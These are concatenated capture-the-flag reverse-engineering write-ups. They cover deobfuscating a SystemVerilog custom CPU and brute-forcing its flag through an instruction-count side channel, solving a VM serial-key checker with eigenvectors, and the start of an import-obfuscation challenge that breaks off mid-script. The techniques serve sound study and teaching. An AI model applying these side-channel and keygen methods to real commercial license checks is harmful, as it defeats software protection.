>Yet another VM challenge.>>Note: this fixes an unintended solution to vm. The only change is in the `data.txt` file.>>Author: kz>>**Files:**>> * [chal.sv](https://github.com/kjcolley7/CTF-WriteUps/blob/master/2022/maple/vm-1_and_2/chal.sv)> * [prog.txt](https://github.com/kjcolley7/CTF-WriteUps/blob/master/2022/maple/vm-1_and_2/prog.txt)> * [data.txt](https://github.com/kjcolley7/CTF-WriteUps/blob/master/2022/maple/vm-1_and_2/data.txt)> * [data2.txt](https://github.com/kjcolley7/CTF-WriteUps/blob/master/2022/maple/vm-1_and_2/data2.txt)
### Overview
The challenge name and description indicate that this challenge involves a custom CPU architecture and instruction set. I'm a huge fan of those types of challenges, so I immediately jumped on this challenge when I started in this CTF. Taking a look at the [prog.txt](https://github.com/kjcolley7/CTF-WriteUps/blob/master/2022/maple/vm-1_and_2/prog.txt) and [data.txt](https://github.com/kjcolley7/CTF-WriteUps/blob/master/2022/maple/vm-1_and_2/data.txt) files, we can see that they are text files containing a bunch of hex values. Then we get another file called [chal.sv](https://github.com/kjcolley7/CTF-WriteUps/blob/master/2022/maple/vm-1_and_2/chal.sv). I didn't know what that file extension meant, but after opening it in a code editor, I can see that it looks a lot like Verilog. I've never really used Verilog before, but I'm vaguely familiar with how it works. As it turns out, `.sv` files are SystemVerilog, which I think is like an extension to Verilog. Both Verilog and SystemVerilog are HDL languages (hardware description language), meaning they are code files that describe a hardware logic circuit (like a processor). Therefore, based on the idea that this is a custom CPU challenge and that we are given a hardware description of a circuit, it's clear that this file must implement a full CPU that can execute instructions from the `prog.txt` file.
### De-obfuscating the SystemVerilog code
Sadly, the challenge author wasn't very kind to players. All of the variable names (except for `flag`) were replaced with randomly generated alphanumeric strings. Therefore, the SystemVerilog code we have to reverse engineer looks like this:
```SystemVerilogmodule Ol8vW(eo3,nF3,QU6cTlk,Jpup6gEow,nFOoEI7Dnl,QV,pb); input eo3,nF3,pb;
input [7:0] QU6cTlk; output [7:0] Jpup6gEow,nFOoEI7Dnl; input [2:0] QV;
parameter WXifi4fqUy9NY = 16; logic [7:0] fgS [2**WXifi4fqUy9NY-1:0]; logic [WXifi4fqUy9NY-1:0] gPrDVGD;
always_ff @(posedge eo3) begin```
As a point of reference, after I manually reverse engineered the whole file and renamed everything, that same code looks like this:
```SystemVerilogmodule Stack(clock,reset,pushValue,poppedHigh,poppedLow,stackOp,stackEnable); input clock,reset,stackEnable;
input [7:0] pushValue; output [7:0] poppedHigh,poppedLow; input [2:0] stackOp;
parameter stackBytes = 16; logic [7:0] stackMem [2**stackBytes-1:0]; logic [stackBytes-1:0] stackPointer;
always_ff @(posedge clock) begin```
> Note: Likely, the names that I came up with aren't exactly the same as the original names. In fact, one thing I noticed while reversing this code is that the lengths of the randomly generated names appear to all match the lengths of whatever the original names were in the source code. In this case, `eo3` probably was `clk` (I named it `clock`) in the original code.
The process for deobfuscating this SystemVerilog file was almost identical to reverse engineering any program in IDA. I just tried to reason about the components, and I renamed things for clarity as I went. Eventually, the code was completely deobfuscated, which you can see in [chal_edit.sv](https://github.com/kjcolley7/CTF-WriteUps/blob/master/2022/maple/vm-1_and_2/chal_edit.sv). I also took some notes to understand how the architecture works: [notes.txt](https://github.com/kjcolley7/CTF-WriteUps/blob/master/2022/maple/vm-1_and_2/notes.txt).
### Understanding the CPU architecture
Now that the code has been fully reverse engineered, let's dive into how this CPU works:
* 12-bit instructions* Program counter register (`PC`)* A zero flag (`ZF`)* Separate program and data memory (Harvard architecture)* No general-purpose registers (stack-based architecture)* Call stack (holds 10 bytes; stack pointer is `cSP`)* Data stack (holds 10 bytes; stack pointer is `dSP`)* 8-bit code addresses (maximum of 256 12-bit instructions)* 8-bit data addresses (total of 256 bytes of RAM)
Instructions are 12 bits: the top 4 bits are the opcode, then the bottom 8 bits are an immediate value (like `push 0x42`). As the opcode is 4 bits, it could define up to 16 different instructions. In this case, all 16 are defined as follows (using my names):
| Opcode | Instruction | Operation ||-------:|:------------|:-------------------------------------------------|| `0` | `add` | `a = dSP.pop(); b = dSP.pop(); dSP.push(a + b)` || `1` | `sub` | `a = dSP.pop(); b = dSP.pop(); dSP.push(a - b)` || `2` | `xor` | `a = dSP.pop(); b = dSP.pop(); dSP.push(a ^ b)` || `3` | `and` | `a = dSP.pop(); b = dSP.pop(); dSP.push(a & b)` || `4` | `or` | `a = dSP.pop(); b = dSP.pop(); dSP.push(a OR b)` || `5` | `shl` | `a = dSP.pop(); b = dSP.pop(); dSP.push(a << b)` || `6` | `shr` | `a = dSP.pop(); b = dSP.pop(); dSP.push(a >> b)` || `7` | `pop` | `dSP--` || `8` | `jmp imm8` | `PC = imm8` || `9` | `call imm8` | `cSP.push(PC + 1); PC = imm8` || `A` | `ret` | `PC = cSP.pop()` || `B` | `jzr imm8` | `if (ZF) { PC = imm8; }` || `C` | `push imm8` | `*dSP++ = imm8` || `D` | `ldm` | `a = dSP.pop(); dSP.push(DATAMEM[a])` || `E` | `stm` | `a = dSP.pop(); b = dSP.pop(); DATAMEM[b] = a` || `F` | `halt` | `while(1) {}` |
The first 7 instructions (opcodes `0`-`6`) are ALU instructions, which change the value of `ZF` when the execute. If the result of the computation is zero, `ZF` is set to 1 (true). Otherwise, `ZF` is cleared. The value of `ZF` is used by the `jzr` (jump-if-zero) instruction to decide whether or not to jump to the target address. That pretty much sums up how this architecture works!
### Writing a disassembler, emulator, and interactive debugger
So I'll start by admitting that when it comes to challenges with custom CPU architectures, I love to get carried away and do more than is needed to solve the challenge. In this case, I ended up writing a full disassembler, emulator, and interactive debugger as part of this challenge. To be fair, it only took ~300 lines of Python code to achieve this: [emu.py](https://github.com/kjcolley7/CTF-WriteUps/blob/master/2022/maple/vm-1_and_2/emu.py). The debugger was really useful for setting breakpoints, stepping through instructions, and watching memory/stack values change. The emulator also has a couple of really neat features, namely that it can write a trace log of instructions as they're executed and count the number of instructions executed (which will come in handy for this challenge later). It's also fun to use the `watch` debugger command then `c` to continue execution of the program. This will show the full contents of RAM every time a byte is changed. Here's an example of the program running in the debugger and some of the commands:
```PC: 00Call stack:(0x0)
Data stack:(0x0)
Next instructions:00: push 0x8001: push 0x7f02: stm03: push 0x8004: ldm(dbg) siPC: 01Call stack:(0x0)
Data stack:(0x0, 0x80)
Next instructions:01: push 0x7f02: stm03: push 0x8004: ldm05: push 0x80(dbg) PC: 02Call stack:(0x0)
Data stack:(0x0, 0x80, 0x7f)
Next instructions:02: stm03: push 0x8004: ldm05: push 0x8006: ldm(dbg) memMemory dump:00: a4 f4 61 9b 1f 28 81 9a 99 74 11 a9 67 cf 1a 47 ..a..(...t..g..G10: 4c c6 48 b2 e0 d8 d6 86 0f e5 68 96 03 14 b9 9d L.H.......h.....20: a2 c9 83 fe a3 74 df 2f 51 cb 21 0b 53 c8 8c 69 .....t./Q.!.S..i30: 1e 38 c8 c7 1e f2 cd ec 2b 0a 5a 80 97 ea 94 f5 .8......+.Z.....40: 9e ae 70 2f 31 b1 b0 42 e6 a8 a3 5a 97 9b 31 9c ..p/1..B...Z..1.50: c5 73 06 a1 86 3b b0 c9 a2 5c 99 e0 24 af e6 d6 .s...;...\..$...60: bb 99 46 c1 42 c3 9f 66 8c 4a 88 ac dd 05 73 29 ..F.B..f.J....s)70: 8a 18 b0 e3 d5 a5 a3 6b 76 95 b0 e5 10 2a d7 a1 .......kv....*..80: 33 55 51 53 a7 59 84 eb e1 45 63 05 b6 bb 60 60 3UQS.Y...Ec...``90: 6f fe 7b 4f da dd 12 93 6c 10 dc 56 1a 6d 6f 0c o.{O....l..V.mo.A0: 3f bb 49 00 34 1e 17 81 69 ce 04 70 a5 ad b9 76 ?.I.4...i..p...vB0: 23 e7 a8 f4 05 a5 7a 4b a1 0f 7f a3 6a 5a 30 6e #.....zK....jZ0nC0: 03 71 6e 3f 7e 75 79 72 24 50 57 6e 17 3a 11 1b .qn?~uyr$PWn.:..D0: 73 2a 26 23 4a 57 4e 2c 20 0a 28 28 6c 21 20 47 s*&#JWN, .((l! GE0: 71 0c 22 30 1c 70 6d 3b 6c 73 57 2a ad 2a 85 bf q."0.pm;lsW*.*..F0: 35 34 0d d9 19 67 7c 51 2a 7e 3e 2c bc 41 67 c0 54...g|Q*~>,.Ag.
(dbg) break 7D(dbg) cHit breakpoint at 7DPC: 7DCall stack:(0x0, 0x2e)
Data stack:(0x0, 0x0)
Next instructions:7D: push 0x817E: ldm7F: push 0x8080: ldm81: ldm(dbg) memMemory dump:00: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f ................10: 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f ................20: 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f !"#$%&'()*+,-./30: 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 0123456789:;<=>?40: 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f @ABCDEFGHIJKLMNO50: 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f PQRSTUVWXYZ[\]^_60: 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f `abcdefghijklmno70: 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f pqrstuvwxyz{|}~.80: 00 2a 51 53 a7 59 84 eb e1 45 63 05 b6 bb 60 60 .*QS.Y...Ec...``90: 6f fe 7b 4f da dd 12 93 6c 10 dc 56 1a 6d 6f 0c o.{O....l..V.mo.A0: 3f bb 49 00 34 1e 17 81 69 ce 04 70 a5 ad b9 76 ?.I.4...i..p...vB0: 23 e7 a8 f4 05 a5 7a 4b a1 0f 7f a3 6a 5a 30 6e #.....zK....jZ0nC0: 03 71 6e 3f 7e 75 79 72 24 50 57 6e 17 3a 11 1b .qn?~uyr$PWn.:..D0: 73 2a 26 23 4a 57 4e 2c 20 0a 28 28 6c 21 20 47 s*&#JWN, .((l! GE0: 71 0c 22 30 1c 70 6d 3b 6c 73 57 2a ad 2a 85 bf q."0.pm;lsW*.*..F0: 35 34 0d d9 19 67 7c 51 2a 7e 3e 2c bc 41 67 c0 54...g|Q*~>,.Ag.
(dbg) q```
Note that the above debug session is running using [data2.txt](https://github.com/kjcolley7/CTF-WriteUps/blob/master/2022/maple/vm-1_and_2/data2.txt) (the data file for the vm-2 challenge, NOT vm-1). In fact, if I use the `mem` debugger command before executing any instructions with the `data1.txt` file, you can see the problem and why it had an unintended solution:
```(dbg) memMemory dump:00: bb 4d 00 80 cb 15 9c ef 90 b9 1f 8b 41 30 07 e1 .M..........A0..10: 76 64 eb 44 eb 11 d0 4c ea 1c f5 96 6a ea 6c 2f vd.D...L....j.l/20: 04 27 e6 d4 56 80 52 38 59 59 c5 aa 82 94 df ab .'..V.R8YY......30: da a3 41 47 c4 53 b3 d5 83 fc 56 a1 43 30 97 0d ..AG.S....V.C0..40: 48 ea 49 d2 5b 77 0e 26 ab d9 f4 e6 61 49 e5 6e H.I.[w.&....aI.n50: 33 d4 bb 42 ef e4 fd 4c 93 56 0c 81 2a 63 84 be 3..B...L.V..*c..60: d9 9f 5f a8 f7 ee b8 77 39 b9 db 4e 27 73 a8 89 .._....w9..N's..70: 75 89 c5 d8 c5 95 3a 1d bc 24 83 50 07 1e 74 12 u.....:..$.P..t.80: fa 7f 04 1f 72 87 33 ac ae 8a 85 1b 6d 61 70 6c ....r.3.....mapl90: 65 7b 76 69 72 74 75 61 6c 5f 6d 61 63 68 69 6e e{virtual_machinA0: 65 5f 6d 6f 72 65 5f 6c 69 6b 65 5f 76 65 72 69 e_more_like_veriB0: 6c 6f 67 5f 6d 61 63 68 69 6e 65 7d 01 32 1b 67 log_machine}.2.gC0: 6a 4e 63 24 65 44 2a 42 24 36 78 6f 0a 64 32 69 jNc$eD*B$6xo.d2iD0: 7d 57 5f 18 21 50 1a 15 3e 3f 66 46 2f 42 22 56 }W_.!P..>?fF/B"VE0: 2e 03 5e 51 61 26 1d 00 1d 6a 35 61 3a b2 4e bd ..^Qa&...j5a:.N.F0: 7b 9d 70 65 75 60 d8 2b 0b 08 d9 11 9c b4 44 57 {.peu`.+......DW```
Yup, the flag was plaintext in the initial data memory! While the flag isn't in plaintext in the updated `data2.txt` file, having this `data.txt` file with the flag in it is actually useful when attempting to solve vm-2.
### The challenge program
A quick mention: from the SystemVerilog code I deobfuscated earlier, it can be seen that the flag should be written into data memory at address 140 (0x8c). The program will write the value 2 to address 135 (0x87) if the flag is correct. Any other value there means the flag is wrong. This can help direct our attention while reverse engineering the program.
Now that we've reverse engineered the CPU architecture and wrote some useful tooling for this challenge, let's dive into how the challenge program works. My annotated disassembly for it is here: [disasm.txt](https://github.com/kjcolley7/CTF-WriteUps/blob/master/2022/maple/vm-1_and_2/disasm.txt).
As this CPU has a stack-based architecture and no general-purpose registers, absolute memory addresses are used as variables. To show an example of what the code looks like, here's the first block of code that executes in the program:
```00: push 0x8001: push 0x7f
// a = 0x7f02: stm
/* * Fills memory like: * addr = 0x80 * do { * *addr = addr; * --addr; * } while(addr != 0) * * Therefore, each memory location <= 0x80 will have its value set to * its address. */memfill_loop:03: push 0x8004: ldm05: push 0x8006: ldm
// mem[mem[0x80]] = mem[0x80]07: stm08: push 0x0009: push 0x800A: ldm
// cmp mem[0x80], 0x000B: sub0C: jzr 0x15 (after_loop)
0D: push 0x800E: push 0x010F: push 0x8010: ldm11: sub
// mem[0x80] -= 112: stm13: pop // pops result of comparison14: jmp 0x03 (memfill_loop)
after_loop://...more code follows...```
Lots of the code in this program uses addresses 0x80 and 0x81 as variables, so I refer to them as `a` and `b` for convenience later. However, you may notice that my annotations for the disassembly are incomplete. That's becaused as I was going through the disassembly code and running the challenge in my emulator/debugger, I came to a realization that I didn't need to understand anything more about the code to solve the challenge!
### Exploiting a side-channel vulnerability in the code to brute-force the flag
The program running on the CPU in this challenge contains a side-channel vulnerability. While the output from the program is supposed to just be a binary value (is the flag correct?), another useful output can be extracted. Namely, the total number of instructions executed. The program checks the characters in the flag one at a time (using some XORs against a random string and a permutation array). As soon as one of the characters in the flag is determined to be incorrect, the program will halt. That means that if the first character in the flag is correct, more instructions will be executed than if the first character is wrong.
Using this side-channel leakage, a bruteforce program can be written to build the flag. The idea is pretty simple: start by running the program without any changes to get a baseline for the instruction count. Then, starting at the flag address in the data memory (0x8c), try every possible printable ASCII character (0x20-0x7e), one at a time. As soon as an execution of the program hits a higher instruction count than the baseline, that means the character in the current position is correct! Then, the program advances the memory address being bruteforced, uses the new instruction count as the new baseline, and continues in a loop as long as there is an improvement in the number of instructions executed. The python code that implements my bruteforcer is as follows:
```pythoncpu.run()best_inscount = cpu.inscount
# 0x8c is the start of the flagbrute_pos = 0x8cflag = ""improved = True
while improved: improved = False for c in range(0x20, 0x7f): data[brute_pos] = c cpu.reset() cpu.copyin(data) cpu.run() print("Trying '%s': %d" % (flag + chr(c), cpu.inscount)) if cpu.inscount > best_inscount: flag += chr(c) brute_pos += 1 best_inscount = cpu.inscount improved = True break
cpu.showmem()```
Here's an excerpt of the bruteforcer running to extract the flag:
```Trying 'maple{the_1': 8780Trying 'maple{the_2': 8780Trying 'maple{the_3': 8780Trying 'maple{the_4': 8845Trying 'maple{the_4 ': 8845...Trying 'maple{the_4k': 8845Trying 'maple{the_4l': 8910Trying 'maple{the_4l ': 8910Trying 'maple{the_4l!': 8910...Trying 'maple{the_4l`': 8910Trying 'maple{the_4la': 8975Trying 'maple{the_4la ': 8975Trying 'maple{the_4la!': 8975...Trying 'maple{the_4laf': 8975Trying 'maple{the_4lag': 9040...Trying 'maple{the_4lag^': 9040Trying 'maple{the_4lag_': 9105...Trying 'maple{the_4lag_r': 9105Trying 'maple{the_4lag_s': 9170.........Trying 'maple{the_4lag_shOUld_Not_be_put_1N_initial_RAM|': 11185Trying 'maple{the_4lag_shOUld_Not_be_put_1N_initial_RAM}': 11190```
And there's the flag!
During competition, I was the second solver for this challenge.
After this challenge, I went on to solve [confounded pondering unit](https://github.com/kjcolley7/CTF-WriteUps/blob/master/2022/maple/cpu/README.md), which is another similar custom CPU challenge. |
# vmquacks_revenge
Description: A duck at your local pond snitched on your quacking abilities with the formidable Snowman decompiler to the anti-quack police force! They have revamped their entire architecture, rebuilt their tooling infrastructure, and are seeking vengeance for the previous quacking incidents. Can you quack their latest license key checker to prove your quacking prowess?
vmquacks_revenge is a Linux binary that runs a virtual machine which takes in a serial number and verifies it. It has anti-tempering within the binary and VM code and the general VM program is decently complex.
## Solution
### Looking at the main virtual machine loop and analyzing it

My teammate Aaron did most the virtual machine reversing, and generally the machine implemented is nothing special so a quick overview of our understanding:
- There are 54 instructions- Registers and memory accesses are 64 bit unless specified otherwise by the instruction- Register 0 is a "zero" register that always holds 0- Register 1 is a link register and contains the last return address- Register 2 is the stack pointer- Register 3 is the frame pointer (like in x86)- Register 4 is a static pointer to global external memory (the .quack_quack_quack section of the binary with an offset of 0x10)- Registers 5-11 are arguments to functions (Register 5 also being the returned value)- The VM itself and the VM code contain self integrity checks- Some VM code / used variables are encrypted and need to be dumped at runtime after decryption (or decrypted using the same key)- The vm can do syscalls and call functions from the main program; so we need to be careful when running it (Luckily there wasn't too much trickery with this)
Besides that, this is a standard custom virtual machine without any gimmicks.
To properly debug this programs hardware breakpoints help a lot, e.g.: `watch * 0x1337110` lets us wait until the random state is updates and virtual machine execution has properly begun.To get the VM code and some more data, dump the `.quack_quack_quack` section.
Later for trouble shooting I often verified what the VM is doing by ```rwatch * ((0x1337000)+<VM_ADDRESS>)rAAAAAAAA-BBBBBBBB-CCCCCCCC-DDDDDDDD-EEEEEEEE-FFFFFFFF-00000000-11111111db * HANDLER_ADDRESS_OF_THE_OPERATION_AT_VM_ADDRESScd```
Another way which is a bit slower due to the nature of conditional breakpoints would be to do:
```break *0x402FB7 if *(long long*)(*(long long*)($rbp-0x38)+0x100) == 0x1339A09```
Which will break in the store dword function if we're at a certain instruction.(Don't try to break in the main loop, it will slow down the program significantly).
This way I was able to inspect the virtual machine state and exact operations without tripping any of the anti-debugging / self integrity checks.
### Instructions
Every instruction is 5 bytes long, the first being the opcode (Everything outside the range of 0 to 0x36 is considered invalid and makes the vm stop executing). After a bit of reversing it was pretty clear how the vm struct is allocated and which registers get set to which values. For example the value at offset 0x100 contains a pointer to the currently executing instruction. If any instruction would've used register 32 it would've overwritten that pointer leading to code redirection.
We also mmap a stack and put the address to it into r2, and a static pointer to the vm data into r4.
By analizing the implementation of the instructions we can further deduce the layout of the registers (For example a link register where the current code pointer is stored into when calling a function, which is r1).
And apart from there being a bunch of arithmetic operations (and everything signed and unsigned), the jump and call instructions, memory load and store operations (signed, unsigned for all sizes of ints), and the compare instructions (again signed unsigned), there was also opcodes 0x35 and 0x36 which call `syscall` and functions from a predefined table respectively.
### Analyzing the VM
My actual work started after Aaron gave me a virtual machine dump and a disassembler for it. Based on the disassembler I wrote a Binary Ninja plugin that does both disassembly and lifting.And after lots of troubleshooting (there are probably lots of lifting errors still in it, especially regarding to casting) - it worked and we now were properly able to inspect the virtual machine code.

The program reads up to 0x80 characters from stdin and then inverts their order. It allocates 8 arrays that are used to store the transformed input in if it matches the required format.If it matches then, after some integrity checks, the transformed input is verified and either accepted or rejected.

As a failsafe, if somehow a wrong key is validated, there is also hashing logic (which is also used to decrypt the flag from the right key), but we didn't find any colliding correct input, so this is luckily nothing for us to worry about.

The input format function mostly just verifies that our input has a format like "AAAAAAAA-BBBBBBBB-CCCCCCCC-DDDDDDDD-EEEEEEEE-FFFFFFFF-00000000-11111111" where groups of 8 characters will be separated by a `-` and the remaining characters are `a-zA-Z0-9`.Interesting is the block of code that runs what we named "weirdify" on the input and then stores it in global memory.

The "weirdify" function has a lot of annoying logic to it and especially the random number part of it makes it troublesome to deal with.Luckily the actual random number generation is pretty simple and we can dump the random seed / starting value from the vm binary at address `0x1337110` (it is 0x1337babe).
```0000000006b04 pseudoRandomNumber = (sx.o(zx.q(pseudoRandomNumber)) * sx.o(0x343fd)).d - 0x613d0000000006b27 return zx.q(pseudoRandomNumber)```
This was actually a pretty good test of the decompilation, because I was able to copy-paste the pseudo C of weirdify into actual C code and brutefroce the character to value table without any modifications.Taking the allowed charset into account I simplified it to:
```python# This is the main calculation part of the weridify functiondef weirdifyPre(arg1): if(arg1 >= ord('0') and arg1 <= ord('9')): return arg1-ord('0')+0x01 if(arg1 >= ord('A') and arg1 <= ord('Z')): return arg1-ord('A')+0x0B if(arg1 >= ord('a') and arg1 <= ord('z')): return arg1-ord('a')+0x25 print("Not supported character "+hex(arg1)) # the weirdify functiondef weirdify(value, rngSeed, iteration): v = weirdifyPre(value) # this is a pseudo random number generator for i in range(iteration): rngSeed = signOffset(((rngSeed * 0x343fd)- 0x613d), 32) # which applies a "random" value to weirdify the output return (((v + 0xd) + (rngSeed&0xff)) % 0x3e) + 1;```

The verify code looks a bit scary when first looking at it and getting everything right (the lifter, analysis and re-implementation) took a lot of hours.The program iterating over our 8 key blocks that have been separated and "weirdified" into 8 matrices.
It then multiplies a global 8x8 matrix by the selected 8x1 matrix. The global matrix is stored encrypted in memory and needs to be dumped AFTER it is decrypted (e.g. by breaking at one of the instructions in this function; Aaron certainly never dumped the encrypted one).The outgoing matrix is then used to calculate the value `intArray[i2] = (mulM[0] + 0x5c) / (curM[0] * 100000000)`. This value needs to be positive and is later used to verify that the key blocks are sorted in ascending `intArray` value order.
Then for all values of the current matrix the following constraint has to hold:
`abs(intArray[i2] * (curM[i] * 100000000) - mulM[i]) < 0x5c`
which (when focusing on positive values) can be rewritten as
`intArray[i2] * (curM[i] * 100000000) < (0x5c + mulM[i])`
by pulling the `mulM[i]` to the right. Then we transform it further into
`(mulM[0] + 0x5c) / (curM[0] * 100000000) * (curM[i] * 100000000) < (0x5c + mulM[i])`
by plugging in the value of `intArray[i2]`. And finally we can pull the term with `curM[i]` to the right:
`(mulM[0] + 0x5c) / (curM[0] * 100000000) < (0x5c + mulM[i]) / (curM[i] * 100000000)`
Similarily we can do the same thing for negative numbers:
`intArray[i2] * (curM[i] * 100000000) - mulM[i] > -0x5c`
will turn into
`intArray[i2] * (curM[i] * 100000000) > mulM[i] - 0x5c`
and by the same logic as above we obtain
`(mulM[0] + 0x5c) / (curM[0] * 100000000) > (mulM[i] - 0x5c) / (curM[i] * 100000000)`
which means we get
`(mulM[i] - 0x5c) / (curM[i] * 100000000) < (mulM[0] + 0x5c) / (curM[0] * 100000000) < (0x5c + mulM[i]) / (curM[i] * 100000000)`
So the ratio of output and input can only deviate in a certain range.
The working python reimplementation looks like this:
```python# Check whether an input is a key candidate and return the intArray/r value to order it properlydef runCheck(vec): # Decrypted matrix dumped at runtime from the binary at address 0x1337208 (they have to be decrypted) m = [ [0xffffffffede5dafe,0xfffffffff5f743dd,0x00000000067b8bda,0x0000000017ff1621,0xffffffffe760a0d9,0x0000000010125448,0x000000000d7e1113,0x0000000008000969], [0xffffffffeb0a3540,0xffffffffc88f3a85,0x000000000257f745,0x0000000009c7fd78,0xfffffffffe19c100,0x0000000012267980,0x000000000c8505f6,0x0000000010f9c0b7], [0xffffffffd9df8aaa,0xffffffff04d141e9,0x0000000021f324fc,0x0000000019648e56,0x00000000055412ed,0x000000002d5b225c,0x000000001a2343fa,0x000000002dd83916], [0xffffffffe5a0af81,0xffffffff5cc74a0f,0x0000000008962a72,0x00000000287392d5,0x0000000000315867,0x0000000016f6d77f,0x0000000014fde34c,0x0000000020dc2c52], [0xffffffffdafbdc02,0xfffffffed5a8296b,0x000000000cd46b7c,0x0000000014a3b1ca,0x000000002805c014,0x000000002efa4dc8,0x00000000158fd422,0x00000000396d3f69], [0xffffffffcb6b92d2,0x000000000314edfd,0xfffffffffe6a83a7,0x000000000e96bbe0,0xffffffffe7df78e9,0x00000000320c4adb,0x0000000012e0feae,0x000000000f42b54d], [0xffffffffc8ebcae5,0xffffffffa166c5b8,0x0000000002317c38,0x000000001bc27472,0xffffffffecd4fb9e,0x000000001e294aef,0x0000000039380937,0x00000000179b36a2], [0xffffffffd300432f,0xffffffff2d0c1e3c,0x00000000069f76d9,0x0000000017d259ce,0x0000000000d02195,0x000000002bd9cf95,0x000000001b70eed3,0x00000000426dc286] ] m2 = [ [0] * 8, [0] * 8, [0] * 8, [0] * 8, [0] * 8, [0] * 8, [0] * 8, [0] * 8]
# Transpose for i in range(8): for j in range(8): m2[i][j] = signOffset(m[j][i], 64) m = m2
# At first it does matrix multiplication res = mult(m, vec)
# then it calculates an intArray value which is later used for ordering the parts r = signOffset((res[0] + 92) // (vec[0] * 100000000), 32) # reject negative values if(r <= 0): return None
# check that for each vector the following property holds # To solve this we try scalars of the left eigenvectors as they # fulfill some ratio property this is verifying. # tbh no clue I'm not big brain enough for this math stuff I only rev for i in range(8): tmp = r * (vec[i] * 100000000) - res[i] r23 = (tmp >> 0x1f) x = (r23^tmp) - r23 # values above 0x5c are rejected if x > 0x5c: return None # whooo we have a key candidate return (vec, r)```
### Solving
Ok, so now we know how the VM works, how the key has to look like and how it is verified.This was a part were we where stuck on for quite a while as we knew how everything works but didn't know how to generate something that fulfills the requirements.We worked a lot of hours on refining z3 scripts, bruteforcing and debugging our reimplementations for mistakes, until at some point my teammate Aaron saved the day (like usual) and figured out that using a (near) intger multiple of the eigenvectors of the global matrix fulfills the requirements.I have to admit that I don't really get why they do, or how he came to the conclusion but it works.
In practice this means we open up sage and give it the sign extended decrypted global matrix:
```python"""M = m = Matrix([[-303703298, -168344611, 108760026, 402593313, -413097767, 269636680, 226365715, 134220137], [-351652544, -930137467, 39319365, 164101496, -31866624, 304511360, 210044406, 284803255], [-639661398, -4214144535, 569582844, 426020438, 89395949, 760947292, 438518778, 769145110], [-442454143, -2738402801, 144058994, 678662869, 3233895, 385275775, 352183116, 551300178], [-621028350, -5005366933, 215247740, 346272202, 671465492, 788155848, 361747490, 963460969], [-882142510, 51703293, -26573913, 244759520, -404784919, 839666395, 316735150, 256030029], [-924071195, -1587100232, 36797496, 465728626, -321586274, 506022639, 959973687, 396048034], [-754957521, -3539198404, 111113945, 399661518, 13640085, 735694741, 460386003, 1114489478]])M = M.transpose() M.eigenvectors_left()```
Then put those into a small script to try their multiple on the check:
```python# Calculate possible key candidates from the eigenvectorsdef solutionsFromEigenvectors(): # matrix taken from sage eigvectors = [(9.99999983497936e7, [(1, 0.169491520858711, 0.084745751546947, 0.2881355875831414, 0.288135581541381, 0.847457626194665, 0.711864401602224, 0.2711864305805604)], 1), (2.000000038798546e8, [(1, 0.952381012280966, 2.52380974358845, 1.238095290338078, 2.38095253294195, 0.714285692436905, 1.71428579754716, 2.190476355812853)], 1), (3.000000002486778e8, [(1, 0.56249999554731, 0.6562499830366, 1.781250008071057, 1.78124998926551, 1.25000000457964, 0.93749998508704, 0.718749983851072)], 1), (3.999999995713364e8, [(1, 2.24999981996979, 13.4999990261208, 0.249999948696195, 8.2499992358664, 4.49999968632836, 7.2499994613724, 0.499999967815939)], 1), (4.999999990500059e8, [(1, 0.34693878212022, 1.1020408347751, 0.59183675570741, 0.1428571707193, 1.0204081565988, 0.7755102140302, 0.83673471316265)], 1), (5.999999984377138e8, [(1, 0.6896552117266, 2.034482866964, 1.96551735699380, 1.9310346670275, 0.3793103236556, 2.0000000738185, 1.86206907715878)], 1), (6.99999998618207e8, [(1, 1.5833334555942, 3.500000285201, 1.75000013943522, 4.333333783508, 3.4166668726864, 2.333333445203, 3.91666698372095)], 1), (8.00000001844412e8, [(1, 0.6000000012274, 0.899999994546, 0.4333333263700, 0.333333323750, 2.0000000104400, 1.633333338514, 1.19999999876425)], 1)]
solutions = [] for eigvec in eigvectors: row = list(*eigvec[1]) # iterate for some multipliers for i in range(1, int(128/max(row))): floatVersion = [v*i for v in row] intVersion = [round(r) for r in floatVersion] # check if key candidate checkRes = runCheck(intVersion) if checkRes != None: solutions.append(checkRes) return solutions```
From this we get 8 key candidates `[([59, 10, 5, 17, 17, 50, 42, 16], 1), ([21, 20, 53, 26, 50, 15, 36, 46], 2), ([32, 18, 21, 57, 57, 40, 30, 23], 3), ([4, 9, 54, 1, 33, 18, 29, 2], 4), ([8, 18, 108, 2, 66, 36, 58, 4], 4), ([49, 17, 54, 29, 7, 50, 38, 41], 5), ([29, 20, 59, 57, 56, 11, 58, 54], 6), ([12, 19, 42, 21, 52, 41, 28, 47], 7), ([30, 18, 27, 13, 10, 60, 49, 36], 8)]`.
Now if we use the "weirdify" algorithm we reversed earlier, make a reverse lookup table out of it and use that to reconstruct a key (see the vmquacks_revenge.py script for details), we get the solution:

# msfrob
Description: 6b0a444558474b460a5a58454d584b470a5f5943444d0a444558474b460a4d464348490a4c5f44495e4345445904
msfrob is a linux binary that obfuscates all its imports
## Solution
The program takes in one command line argument and then verifies it.Looking at it in Binary Ninja shows that all imported functions show up as `msfrob`.

We can easily manually figure out which `msfrob` calls which function, by settings breakpoint before the call, then setting a breakpoint at `_dl_lookup_symbol_x` and looking at the arguments passed to it.One of the registers will contain a pointer to the original import name.
That way we can recover the original imports:

What the program is doing is, it is taking the input and compressing it with deflate and encrypting it with AES 20 times. Then it is comparing the output against a fixed buffer.By dumping the buffer, key and iv we can easily inverse this process:
```pythonfrom Crypto import Randomfrom Crypto.Cipher import AESimport zlib
